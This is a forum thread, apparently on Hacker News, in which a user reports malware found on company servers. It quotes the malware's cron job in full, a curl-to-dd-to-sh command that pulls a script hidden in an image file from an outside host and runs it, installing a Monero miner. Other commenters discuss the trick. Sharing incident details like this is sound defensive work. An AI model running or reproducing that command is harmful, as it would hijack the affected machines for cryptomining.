4 ms·
What a coincidence! Just today at work we've found malware on some of our servers. That malware added this cron job: /60 * * * curl http://img1.imagehousing.
by kovrik 9y ago
What a coincidence!
Just today at work we've found malware on some of our servers.
That malware added this cron job:
/60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh
If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333
See:
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/Cryptomining-malware-on-NAS-servers.pdf?la=en https://www.sophos.com/en-us/medialibrary/PDFs/technical-pap...
- Casseres 9y agoSpeaking about criminals using Monero, they've started making ransomware that accepts Monero. As far as I know, they don't for the other supposed-anonymous cryptocurriencies.
- nyolfen 9y agothat's a clever little cron job
- Matheus28 9y agoYeah that's a neat way of hosting malware on someone else's servers. It seems to also download a few binaries and put them in /tmp/ using the same trick.
- socrates1024 9y agoFor an even bigger coincidence, the new Monero project to add support for I2P is called Kovri, a prefix of your username!
- indolering 9y agoThere was Bitcoin malware back when CPU mining was feasible. If memory serves me correctly, someone figured out it would be break-even serving ads with JS bitcoin miners.
- elnappo 9y agoWith this little script the attacker made ~2700$ in the last five days!